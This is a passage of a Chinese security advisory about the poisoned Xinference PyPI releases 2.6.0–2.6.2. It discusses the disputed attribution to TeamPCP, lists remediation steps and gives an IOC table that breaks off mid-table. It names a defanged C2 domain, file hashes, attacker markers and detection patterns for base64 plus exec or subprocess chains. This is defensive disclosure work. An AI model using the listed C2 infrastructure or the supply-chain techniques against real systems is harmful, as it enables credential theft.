0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="moglxmt81ky8">TeamPCP 是一个高级威胁组织，近期发起了一系列精心策划的供应链攻击。该组织通过攻陷 Trivy、KICS 和 LiteLLM 等主流开源工具，隐蔽植入了用于窃取凭证的恶意软件。为规避安全检测，他们综合采用了凭证收集、Kubernetes 环境内的横向移动以及音频隐写等复杂攻击技术。此外，该组织还具备极强的跨平台感染能力，能够利用窃取到的凭证，借助名为“CanisterWorm”的自传播蠕虫病毒，将攻击范围横向扩展至 npm 和 PyPI 等多个软件生态系统。在数据窃取阶段，他们使用了 AES-256 和 RSA-4096 高强度加密技术来向外传输敏感数据。</span><o:page></o:page></p><p style="text-indent: 2em;text-align: justify;margin-bottom: 16px;margin-top: 16px;line-height: 1.6em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="moglxmt81pz7">然而，此次事件的归属研判存在一定争议。2026年4月22日，TeamPCP 组织通过社交平台公开否认参与此次 Xinference 投毒事件，声称系他人冒用 TeamPCP 名义实施。</span></p><p style="text-indent: 0px;text-align: center;margin-bottom: 16px;margin-top: 16px;line-height: 1.6em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.20689655172413793" data-w="1247" style="width: 553.74px;height: 114.54px;" src="https://wechat2rss.xlab.app/img-proxy/?k=4798b2e8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXL80KkUAxL0nzq8znRfriaG3vklnHfpL6Tt8ZrcGxRQSsTCoViayHuPIRicyuAUeJMhqrcNGTD1BFYPIzXjibdBzww1lYRX6HwqFD0%2F640%3Fwx_fmt%3Dpng"/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/></span></p><p style="text-indent: 0px;text-align: center;margin-bottom: 16px;margin-top: 16px;line-height: 1.6em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="color: rgb(136, 136, 136);font-style: italic;">图8 TeamPCP否认此次攻击</span></span></p><p style="text-indent: 2em;text-align: justify;margin-bottom: 16px;margin-top: 16px;line-height: 1.6em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="moglxmt85j2">结合历史样本进行横向对比，我们注意到在此前已确认由 TeamPCP 发起的 LiteLLM 和 Telnyx 供应链投毒事件中，恶意代码顶部并未出现类似的文字标记。这一差异点值得关注。</span><o:page></o:page></p><p style="text-indent: 0px;text-align: center;margin-bottom: 16px;margin-top: 16px;line-height: 1.6em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="color: rgb(136, 136, 136);font-style: italic;"><img class="rich_pages wxw-img" data-aistatus="1" data-ratio="0.4015503875968992" style="width: 553.74px;height: 222.34px;" data-w="1290" src="https://wechat2rss.xlab.app/img-proxy/?k=f3c5217a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXJLNGSkwCOny8nxxXRduIOnJMcUicyc2Il89KrI8nbhamlDPHVqic8IozkmenGGUvMoqiatdXHwX49H4wmd41hsmVZqBq2RYdgjZE%2F640%3Fwx_fmt%3Dpng"/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/></span></span></p><p style="text-indent: 0px;text-align: center;margin-bottom: 16px;margin-top: 16px;line-height: 1.6em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="color: rgb(136, 136, 136);font-style: italic;">图9 LiteLLM 和 Telnyx事件中恶意代码示例</span></span></p><p style="text-indent: 2em;text-align: justify;margin-bottom: 16px;margin-top: 16px;line-height: 1.6em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="moglxmt81jvj">综合以上分析，目前尚无法仅凭代码中的文本标记将此次 Xinference 事件确定性归属于 TeamPCP 组织。该标记既可能是攻击者的真实署名，也可能是第三方蓄意嫁祸的假旗手段。我们将持续关注此事件的后续发展，并在获得更多关联证据后更新归属研判结论。</span></p><div data-mpa-template="t" mpa-data-temp-power-by="yiban.io" mpa-data-temp-type="title" mpa-from-tpl="t" data-mpa-action-id="mogmaslj1m3g"><div data-mpa-template="t" mpa-from-tpl="t"><div style="display: flex;align-items: center;justify-content: center;" data-mid="" mpa-from-tpl="t"><div style="display: flex;flex-direction: column;justify-content: center;align-items: center;" data-mid="" mpa-from-tpl="t"><p style="color: #B5230B;padding: 0 8px;text-align: justify;font-family: &#34;PingFang SC&#34;;font-size: 22px;font-style: normal;font-weight: 600;line-height: 44px;letter-spacing: 1.32px;border-radius: 6px;background: #FFEAAE;" data-mid="" mpa-from-tpl="t" mpa-none-content="t"><span leaf="" mpa-font-style="mogmb0cd1wu6" style="font-size: 18px;" data-mpa-action-id="mogmb0cwqqu" data-pm-slice="0 0 []">03</span></p><p style="width: 36px;margin-top: 8px;" data-mid="" mpa-from-tpl="t" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.25675675675675674" data-w="74" style="display: block;background-color: transparent;" src="https://wechat2rss.xlab.app/img-proxy/?k=c92a70d5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FpALNiaJfvo0JYIUacERibiaqVWp28U3y2T3pVQNg7t7fEmUkOHj1MRKlht1cQBpzoSMKK3u5nXvl8qPEuRpWiacWy3I0B66bn686GQq5SD0coCs%2F640%3Ffrom%3Dappmsg"/></p></div><div style="display: flex;justify-content: flex-end;align-items: end;margin-top: -5px;padding-bottom: 8px;border-bottom: 1px solid #B5230B;" data-mid="" mpa-from-tpl="t"><div style="width: fit-content;color: #FFF;text-align: justify;font-family: &#34;PingFang SC&#34;;font-size: 18px;font-style: normal;font-weight: 600;line-height: 36px;letter-spacing: 1.08px;border-radius: 4px;background: #B5230B;padding: 2px 16px;margin-left: 8px;margin-right: 19px;" data-mid="" mpa-from-tpl="t" yb-mpa-mark="mark-style-text"><p data-mid="" mpa-from-tpl="t"><span leaf="" mpa-is-content="t">防范排查建议</span></p></div><p data-mid="" mpa-from-tpl="t" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.8367346938775511" data-w="49" style="width: 20px;transform: translateY(-2px);display: block;background-color: transparent;" src="https://wechat2rss.xlab.app/img-proxy/?k=017f44fe&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FF9Qia9yBKiatjeBG0kXBR5Cd9AyUcayibLOPlp9iaY6YeUYBoLZcTaxbd1AyxyefO5x7GCicw0ESwHZRJ1mVib8hic1X63a7fhsibcGicibhgNOT8SMbM%2F640%3Ffrom%3Dappmsg"/></p></div></div></div></div><p style="text-indent: 2em;text-align: justify;margin-bottom: 16px;margin-top: 16px;line-height: 1.6em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="moglxmt81kzi">如果您受到影响，请您：</span></p><ol style="list-style-type: decimal;" class="list-paddingleft-1"><li><p style="text-indent: 0px;text-align: justify;margin-bottom: 16px;margin-top: 16px;line-height: 1.6em;"><span mpa-font-style="moglxmt8bfg" style="font-size: 17px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-weight: bold;">立刻隔离受影响资产</span>：对安装过受影响版本（2.6.0/2.6.1/2.6.2）的主机、容器、CI 节点执行网络隔离，优先阻断到可疑域名与外连通道。</span></span></p></li><li><p style="text-indent: 0px;text-align: justify;margin-bottom: 16px;margin-top: 16px;line-height: 1.6em;"><span mpa-font-style="moglxmt87ib" style="font-size: 17px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-weight: bold;">紧急下线受污染版本</span>：卸载受影响包并清理缓存镜像，禁止继续使用受影响版本。</span></span></p></li><li><p style="text-indent: 0px;text-align: justify;margin-bottom: 16px;margin-top: 16px;line-height: 1.6em;"><span mpa-font-style="moglxmt8pv" style="font-size: 17px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-weight: bold;">强制轮换所有高价值凭证</span>：包括云账号 AK/SK、K8s Token、仓库访问令牌、数据库口令、Webhook、VPN 与证书私钥。</span></span><o:page></o:page></p></li><li><p style="text-indent: 0px;text-align: justify;margin-bottom: 16px;margin-top: 16px;line-height: 1.6em;"><span mpa-font-style="moglxmt81yox" style="font-size: 17px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-weight: bold;">检查 __init__.py 是否存在异常 Base64 长字符串、可疑执行链</span>（如 exec()、subprocess.Popen()、subprocess.run()）。</span></span></p></li><li><p style="text-indent: 0px;text-align: justify;margin-bottom: 16px;margin-top: 16px;line-height: 1.6em;"><span mpa-font-style="moglxmt81y0" style="font-size: 17px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-weight: bold;">搜索攻击者标记与阶段特征</span>：# hacked by teampcp、X-QT-SR、whereisitat.lucyatemysuperbox[.]space。</span></span></p></li><li><p style="text-indent: 0px;text-align: justify;margin-bottom: 16px;margin-top: 16px;line-height: 1.6em;"><span mpa-font-style="moglxmt820c4" style="font-size: 17px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-weight: bold;">查找可疑中间文件或压缩产物</span>（例如 love.tar.gz、临时文件 f）。</span></span></p></li></ol><div data-mpa-template="t" mpa-data-temp-power-by="yiban.io" mpa-from-tpl="t" data-mpa-action-id="moglyt11w86"><div data-mpa-template="t" mpa-from-tpl="t"><div data-role="outer" label="edit by 135editor" mpa-from-tpl="t"><div data-role="title" data-tools="135编辑器" data-id="85638" mpa-from-tpl="t"><div style="margin-top: 2em;margin-right: auto;margin-left: auto;padding-top: 0.5em;padding-bottom: 0.5em;border-right: none;border-bottom: none;border-left: none;border-image: initial;border-top: 1px solid rgb(204, 204, 204);font-size: 1em;font-weight: inherit;text-decoration: inherit;color: rgb(166, 166, 166);" mpa-from-tpl="t"><p style="margin-top: -1.2em;text-align: center;border: none;line-height: 1.4;" mpa-from-tpl="t"><strong mpa-from-tpl="t"><span style="background-color: rgb(15, 15, 25);border-color: rgb(183, 184, 184);color: rgb(255, 255, 255);padding: 8px 23px;text-decoration: inherit;"><span leaf="">附录 IOC</span></span></strong></p></div></div></div></div></div><div><div><div><p><table style="width: 574px;"><tbody><tr><td data-colwidth="287"><p><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="font-size: 15px;"><span leaf=""><span textstyle="" style="font-weight: bold;">IOC</span></span></span></span></p></td><td data-colwidth="287"><p><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="font-size: 15px;"><span leaf=""><span textstyle="" style="font-weight: bold;">说明</span></span></span></span></p></td></tr><tr><td data-colwidth="287"><p><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="font-size: 15px;"><span leaf="">whereisitat.lucyatemysuperbox[.]space</span></span></span></p></td><td data-colwidth="287"><p><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="font-size: 15px;"><span leaf="">C2</span></span></span></p></td></tr><tr><td data-colwidth="287"><p><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="font-size: 15px;"><span lang="EN-US" style="color: rgb(30, 41, 59);background: white;" data-pm-slice="0 0 []"><span leaf="">971670c10eff28339a085ca50a600e35</span></span></span></span></p></td><td data-colwidth="287"><p><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="font-size: 15px;"><span lang="EN-US" style="color: rgb(30, 41, 59);background: white;" data-pm-slice="0 0 []"><span leaf="">xinference-2.6.0.tar.gz</span></span></span></span></p></td></tr><tr><td data-colwidth="287"><p><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="font-size: 15px;"><span lang="EN-US" style="color: rgb(30, 41, 59);background: white;" data-pm-slice="0 0 []"><span leaf="">9b3257e45b27a6bbe4e240e41a3a306f</span></span></span></span></p></td><td data-colwidth="287"><p><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="font-size: 15px;"><span lang="EN-US" style="color: rgb(30, 41, 59);background: white;" data-pm-slice="0 0 []"><span leaf="">xinference-2.6.1.tar.gz</span></span></span></span></p></td></tr><tr><td data-colwidth="287"><p><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="font-size: 15px;"><span lang="EN-US" style="color: rgb(30, 41, 59);background: white;" data-pm-slice="0 0 []"><span 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      <pubDate>Mon, 27 Apr 2026 15:08:00 +0800</pubDate>
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